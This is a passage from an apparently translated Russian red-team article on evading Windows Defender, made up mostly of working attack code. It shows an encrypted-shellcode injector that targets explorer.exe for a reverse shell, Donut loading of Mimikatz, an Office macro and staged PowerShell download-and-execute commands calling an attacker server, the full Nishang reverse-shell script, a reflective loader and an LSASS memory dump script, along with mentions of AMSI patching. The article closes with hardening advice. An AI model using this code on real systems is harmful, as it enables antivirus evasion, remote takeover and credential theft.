private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return AESEncryptedShellCode(CShellcode, encryptor);
}
}
}
private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
{
using (var msEncShellCode = new MemoryStream())
using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(CShellcode, 0, CShellcode.Length);
cryptoStream.FlushFinalBlock();
return msEncShellCode.ToArray();
}
}
}
}
Компиляция и запуск приведенного выше кода с исходным шеллкодом в переменной "buf" выплюнет зашифрованные байты, которые мы будем использовать в нашей программе-инжекторе.
Для этого PoC я также выбрал C# в качестве языка для инжектора, но вы можете использовать любой другой язык, поддерживающий Win32 API (C/C++, Rust и т.д.).
Наконец, код, который будет использоваться для инжектора, выглядит следующим образом:
Injector.cs
C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace AESInject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
static void Main(string[] args)
{
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
byte[] DShell = AESDecrypt(buf, Key, IV);
StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
foreach (byte b in DShell)
{
hexCodes.AppendFormat("0x{0:x2},", b);
}
int size = DShell.Length;
Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return GetDecrypt(CEncryptedShell, decryptor);
}
}
}
private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
}
Для этой статьи я скомпилировал программу с зависимостями для удобства переноса на EC2, но не стесняйтесь скомпилировать ее в автономный двоичный файл, который будет занимать около 50-60 МБ.
Наконец, мы можем настроить слушателя с помощью netcat на машине атакующего/C2 и выполнить инжектор на машине жертвы:
Выполнение инжектора
Получение реверс-шелла
6. Загрузка шеллкода Donut
Проект Donut от TheWover - это очень эффективный генератор позиционно-независимого шеллкода из PEs/DLL. В зависимости от заданного входного файла, он работает по-разному. Для этого PoC я буду использовать Mimikatz, поэтому давайте посмотрим, как он работает на высоком уровне. Из беглого взгляда на код, это будет основная процедура исполняемого инструмента Donut.exe:
Возможная основная рутина/функция Donut из файла donut.c
C:
// 1. validate the loader configuration
err = validate_loader_cfg(c);
if(err == DONUT_ERROR_OK) {
// 2. get information about the file to execute in memory
err = read_file_info(c);
if(err == DONUT_ERROR_OK) {
// 3. validate the module configuration
err = validate_file_cfg(c);
if(err == DONUT_ERROR_OK) {
// 4. build the module
err = build_module(c);
if(err == DONUT_ERROR_OK) {
// 5. build the instance
err = build_instance(c);
if(err == DONUT_ERROR_OK) {
// 6. build the loader
err = build_loader(c);
if(err == DONUT_ERROR_OK) {
// 7. save loader and any additional files to disk
err = save_loader(c);
}
}
}
}
}
}
// if there was some error, release resources
if(err != DONUT_ERROR_OK) {
DonutDelete(c);
}
Из всех этих функций, пожалуй, наиболее интересной является build_loader, которая содержит следующий код:
build_loader function
C:
uint8_t *pl;
uint32_t t;
// target is x86?
if(c->arch == DONUT_ARCH_X86) {
c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
} else
// target is amd64?
if(c->arch == DONUT_ARCH_X64) {
c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
} else
// target can be both x86 and amd64?
if(c->arch == DONUT_ARCH_X84) {
c->pic_len = sizeof(LOADER_EXE_X86) +
sizeof(LOADER_EXE_X64) + c->inst_len + 32;
}
// allocate memory for shellcode
c->pic = malloc(c->pic_len);
if(c->pic == NULL) {
DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
return DONUT_ERROR_NO_MEMORY;
}
DPRINT("Inserting opcodes");
// insert shellcode
pl = (uint8_t*)c->pic;
// call $ + c->inst_len
PUT_BYTE(pl, 0xE8);
PUT_WORD(pl, c->inst_len);
PUT_BYTES(pl, c->inst, c->inst_len);
// pop ecx
PUT_BYTE(pl, 0x59);
// x86?
if(c->arch == DONUT_ARCH_X86) {
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);
DPRINT("Copying %" PRIi32 " bytes of x86 shellcode",
(uint32_t)sizeof(LOADER_EXE_X86));
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
} else
// AMD64?
if(c->arch == DONUT_ARCH_X64) {
DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode",
(uint32_t)sizeof(LOADER_EXE_X64));
// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);
PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
} else
// x86 + AMD64?
if(c->arch == DONUT_ARCH_X84) {
DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
(uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));
// xor eax, eax
PUT_BYTE(pl, 0x31);
PUT_BYTE(pl, 0xC0);
// dec eax
PUT_BYTE(pl, 0x48);
// js dword x86_code
PUT_BYTE(pl, 0x0F);
PUT_BYTE(pl, 0x88);
PUT_WORD(pl, sizeof(LOADER_EXE_X64) + 5);
// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);
PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
}
return DONUT_ERROR_OK;
Опять же, судя по краткому анализу, эта подпрограмма создает/подготавливает позиционно-независимый шеллкод на основе оригинального исполняемого файла для последующей инъекции, вставляя ассемблерные инструкции для выравнивания стека на основе каждой архитектуры и заставляя поток кода переходить к оригинальному шеллкоду исполняемого файла. Обратите внимание, что это может быть не самый обновленный код, так как последний коммит этого файла был в декабре 2022 года, а последний релиз - в марте 2023 года. Но это дает хорошее представление о том, как это работает.
Наконец, переходя к доказательству концепции этого раздела, я буду выполнять стандартный Mimikatz, полученный непосредственно из репозитория gentilkiwi, внедряя шеллкод в локальный процесс powershell. Для этого нам нужно сначала сгенерировать PI-код.
Выполнение инжектора
После того как шеллкод сгенерирован, мы можем использовать для этой цели любой инжектор. К счастью, последняя версия уже поставляется с локальным (для процесса, который его выполняет) и удаленным (для другого процесса) инжектором, для которого Microsoft еще не создала сигнатуры, поэтому я буду использовать именно его.
Выполнение инжектора
7. Пользовательские инструменты
Такие инструменты, как Mimikatz, Rubeus, Certify, PowerView, BloodHound и т.д., популярны не просто так: они реализуют множество функциональных возможностей в одном пакете. Это очень полезно для злоумышленников, поскольку они могут автоматизировать распространение вредоносного ПО с помощью всего нескольких инструментов. Однако это также означает, что производителям очень легко отключить весь инструмент, зарегистрировав его сигнатурные байты (например, строки меню, имена классов/пространств имен в C# и т.д.).
Чтобы противостоять этому, возможно, нам не нужен целый инструмент размером 2-5 МБ, полный зарегистрированных сигнатур для выполнения одной или двух нужных нам функций. Например, для дампа паролей/хэшей входа в систему мы можем использовать весь проект Mimikatz с функцией sekurlsa::logonpasswords, но мы также можем запрограммировать свой собственный дампер и парсер LSASS совершенно другим способом, но с похожим поведением и вызовами API.
Для первого примера я буду использовать LsaParser от Cracked5pider.
Выполнение LsaParser
К сожалению, он не разработан для Windows Server, поэтому мне пришлось использовать его на моей локальной Windows 10, но вы поняли идею.
Для второго примера предположим, что нашей целью является перечисление общих ресурсов во всем домене Active Directory. Для этого мы могли бы использовать Find-DomainShare от PowerView, однако это один из самых известных инструментов с открытым исходным кодом, поэтому, чтобы быть более скрытными, мы можем разработать собственный инструмент поиска ресурсов на основе встроенного API Windows, как показано ниже.
RemoteShareEnum.cpp
C++:
#include <windows.h>
#include <stdio.h>
#include <lm.h>
#pragma comment(lib, "Netapi32.lib")
int wmain(DWORD argc, WCHAR* lpszArgv[])
{
PSHARE_INFO_502 BufPtr, p;
PSHARE_INFO_1 BufPtr2, p2;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i,denied=0;
switch (argc)
{
case 1:
wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
return 1;
default:
break;
}
wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
wprintf(L"-------------------------------------------------------------------------------------\n\n");
for (DWORD iter = 1; iter <= argc-1; iter++) {
lpszServer = lpszArgv[iter];
do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
p++;
}
NetApiBufferFree(BufPtr);
}
else if (res == ERROR_ACCESS_DENIED) {
denied = 1;
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
if (denied == 1) {
do
{
res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p2 = BufPtr2;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark, lpszServer);
p2++;
}
NetApiBufferFree(BufPtr2);
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
denied = 0;
}
wprintf(L"-------------------------------------------------------------------------------------\n\n");
}
return 0;
}
Этот инструмент на высоком уровне использует функцию NetShareEnum из Win32 API для удаленного получения общих ресурсов, обслуживаемых с любых конечных точек входа. По умолчанию он пытается использовать привилегированный уровень доступа SHARE_INFO_502, который показывает некоторую дополнительную информацию, такую как путь к диску, количество соединений и т.д. В случае неудачи он возвращается к уровню доступа SHARE_INFO_1, который показывает только имя ресурса, но может быть перечислен любым непривилегированным пользователем (если только специфический ACL не блокирует его).
Не стесняйтесь использовать этот инструмент, доступный здесь.
Теперь мы можем использовать его следующим образом:
Выполнение RemoteShareEnum
Конечно, создание собственных инструментов может быть очень затратной по времени задачей, а также требует очень глубоких знаний внутреннего устройства Windows, но это потенциально может победить все остальные методы, представленные в этой статье. Поэтому его следует принимать во внимание, если все остальное не работает. Тем не менее, я считаю, что это чрезмерно для Defender/AVs, и лучше подходит для уклонения от EDR, поскольку вы можете контролировать и включать свой собственный выбор вызовов API, точек останова, порядка, нежелательных данных/инструкций, обфускации и т.д.
8. Инсценировка полезной нагрузки
Разбиение полезной нагрузки на последовательные этапы - отнюдь не новая техника, и она часто используется субъектами угроз для распространения вредоносного ПО, которое обходит первоначальный статический анализ. Это происходит потому, что настоящая вредоносная полезная нагрузка будет извлечена и выполнена на более поздней стадии, где статический анализ может не успеть сработать.
В данном PoC я продемонстрирую очень простой, но эффективный способ создания реверс-шелла, который может быть использован, например, для создания вредоносного файла Office с помощью следующего макроса:
Макрос для выполнения первого этапа
Код:
Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub
Это, конечно же, не будет обнаружено антивирусом статически, поскольку он просто выполняет внешне безопасную команду.
Поскольку у меня не установлен Office, я буду эмулировать процесс фишинга, вручную выполняя указанную команду в сценарии PowerShell.
Наконец, доказательством концепции этого раздела является следующее:
stage0.txt (это будет команда, выполняемая в фишинговом макросе)
Код:
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")
stage1.txt
Код:
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")
stage2.txt
Код:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
Здесь следует отметить несколько моментов. Во-первых, ref.txt - это простой обход AMSI в PowerShell, который позволит нам исправить сканирование In-Memory AMSI для текущего процесса PowerShell. Более того, в данном случае не имеет значения расширение сценариев PowerShell, поскольку их содержимое будет просто загружено как текст и вызвано с помощью Invoke-Expression (псевдоним для IEX).
Затем мы можем выполнить полный PoC следующим образом:
Выполнение этапа 0 в нашей жертве
Жертва загружает этапы с нашего C2
Получение реверс-шелла на нашем сервере атакующего
9. Отражающая (рефлексивная) загрузка
Возможно, вы помните из первого раздела, что мы выполнили Mimikatz после исправления AMSI в памяти в качестве демонстрации того, что Defender перестал сканировать память нашего процесса. Это произошло потому, что .NET предоставляет API System.Reflection.Assembly, который мы можем использовать для рефлексивной загрузки и выполнения сборки .NET (определяется как "Представляет собой сборку, которая является многократно используемым, версионируемым и самоописывающимся строительным блоком приложения для выполнения на общем языке.") в памяти.
Это, конечно, очень полезно для наступательных целей, поскольку PowerShell использует .NET, и мы можем использовать его в сценарии для загрузки всего двоичного файла в память, чтобы обойти статический анализ, в котором Windows Defender блистает.
Общая структура сценария выглядит следующим образом:
Шаблон рефлексивной загрузки
Код:
function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
[ClassName.Program]::main([string[]]$args)
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}
Где Gzip просто используется для попытки скрыть реальный двоичный файл, поэтому иногда он может работать без дополнительных методов обхода, но самой важной строкой является вызов функции Load из System.Reflection.Assembly .NET Class для загрузки двоичного файла в память. После этого мы можем просто вызвать его главную функцию с помощью "[ClassName.Program]::main([string[]]$args)".
Таким образом, мы можем выполнить следующую kill-цепочку для выполнения любого двоичного файла:
- Патч AMSI/ETW
- Рефлексивная загрузка и выполнение сборки
К счастью, этот репозиторий содержит не только множество готовых скриптов для каждого известного инструмента, но и инструкции по созданию собственных скриптов из ваших двоичных файлов.
Для этого PoC я буду выполнять Mimikatz, но не стесняйтесь использовать любой другой.
Рефлексивная загрузка Mimikatz
Обратите внимание, что, как было указано ранее, обход AMSI может не потребоваться для некоторых двоичных файлов в зависимости от строкового представления двоичных файлов, которое вы применяете в скрипте. Но поскольку Invoke-Mimikatz широко известен, в данном примере мне пришлось это сделать.
10. Сборки P/Invoke C#
P/Invoke, или Platform Invoke, позволяет нам получать доступ к структурам, обратным вызовам и функциям из неуправляемых нативных DLL Windows, чтобы получить доступ к API более низкого уровня в нативных компонентах, которые могут быть недоступны непосредственно из .NET.
Теперь, поскольку мы знаем, что он делает, и знаем, что можем использовать .NET в PowerShell, это означает, что мы можем получить доступ к низкоуровневым API из сценария PowerShell, который мы можем запустить без того, чтобы Defender следил за нами, если мы установили патч AMSI раньше.
В качестве примера, допустим, мы хотим сделать дамп процесса LSASS в файл через MiniDumpWriteDump, доступный в "Dbghelp.dll". Для этого мы могли бы использовать инструмент nanodump от fortra. Однако он полон сигнатур, которые Microsoft сгенерировала для этого инструмента. Вместо этого мы можем использовать P/Invoke для программирования сценария PowerShell, который будет делать то же самое, но при этом мы можем внести изменения в AMSI, чтобы сделать его необнаруживаемым.
Поэтому я буду использовать следующий код PS для PoC.
MiniDumpWriteDump.ps
Код:
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@
$processId ="788"
$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)
if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()
$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}
$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}
В этом примере мы сначала импортируем функцию MiniDumpWriteDump из Dbghelp.dll через Add-Type, затем импортируем OpenProcess и CloseHandle из kernel32.dll. Затем, наконец, получаем хэндл процесса LSASS и используем MiniDumpWriteDump для выполнения полного дампа памяти процесса и записи его в файл.
Таким образом, полный PoC будет выглядеть следующим образом:
Выполнение дампа LSASS
Загрузка дампа с помощью impacket-smbclient
Парсинг файла MiniDump локально с помощью pypykatz
Обратите внимание, что в итоге я использовал немного измененный сценарий, который шифрует дамп в base64 перед записью в файл, поскольку Defender определял файл как LSASS дамп и удалял его.
Выводы
Всем этим я не пытаюсь разоблачить Defender или сказать, что это плохое антивирусное решение. На самом деле, он, вероятно, один из лучших на рынке, и большинство методов, описанных здесь, можно использовать с большинством производителей. Но поскольку именно его я использовал для этой статьи, я не могу говорить о других.
В конечном итоге, вы никогда не должны полагаться на AV или EDR в качестве первой линии защиты от угроз, а должны укреплять инфраструктуру, чтобы даже если решения для конечных точек будут обойдены, вы могли минимизировать потенциальный ущерб. Например, система строгих разрешений, GPO, правила ASR, контролируемый доступ, упрочнение процессов, CLM, AppLocker и т.д.